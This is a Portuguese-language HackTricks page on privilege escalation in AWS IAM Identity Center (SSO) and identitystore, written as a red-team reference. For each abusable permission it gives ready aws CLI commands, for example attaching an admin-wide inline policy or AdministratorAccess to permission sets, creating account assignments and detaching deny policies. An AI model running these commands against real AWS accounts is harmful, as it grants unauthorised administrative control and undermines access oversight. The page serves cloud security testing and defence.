AWS - SSO & identitystore Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Centro de Identidade AWS / AWS SSO

Para mais informações sobre o Centro de Identidade AWS / AWS SSO, consulte:

pageAWS - IAM, Identity Center & SSO Enum

Observe que, por padrão, apenas usuários com permissões do Conta de Gerenciamento poderão acessar e controlar o Centro de Identidade IAM. Usuários de outras contas só podem permitir se a conta for um Administrador Delegado. Consulte a documentação para mais informações.

Redefinir Senha

Uma maneira fácil de escalar privilégios em casos como este seria ter permissão para redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria ter acesso ao e-mail do usuário.

identitystore:CreateGroupMembership

Com essa permissão, é possível adicionar um usuário a um grupo para que ele herde todas as permissões que o grupo possui.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle.

Para abusar dessas permissões neste caso, você precisa saber o nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas que serão afetadas.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Um atacante com essa permissão poderia atribuir um Conjunto de Permissões a um usuário sob seu controle para uma conta.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Retorna as credenciais de curto prazo do STS para um nome de função específico atribuído ao usuário.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

No entanto, você precisa de um token de acesso do qual não tenho certeza de como obter (A FAZER).

sso:DetachManagedPolicyFromPermissionSet

Um atacante com essa permissão pode remover a associação entre uma política gerenciada da AWS do conjunto de permissões especificado. É possível conceder mais privilégios ao desanexar uma política gerenciada (política de negação).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Um atacante com essa permissão pode remover a associação entre uma política gerenciada pelo cliente do conjunto de permissões especificado. É possível conceder mais privilégios através da desassociação de uma política gerenciada (política de negação).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Um atacante com essa permissão pode remover as permissões de uma política interna do conjunto de permissões. É possível conceder mais privilégios ao desanexar uma política interna (política de negação).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización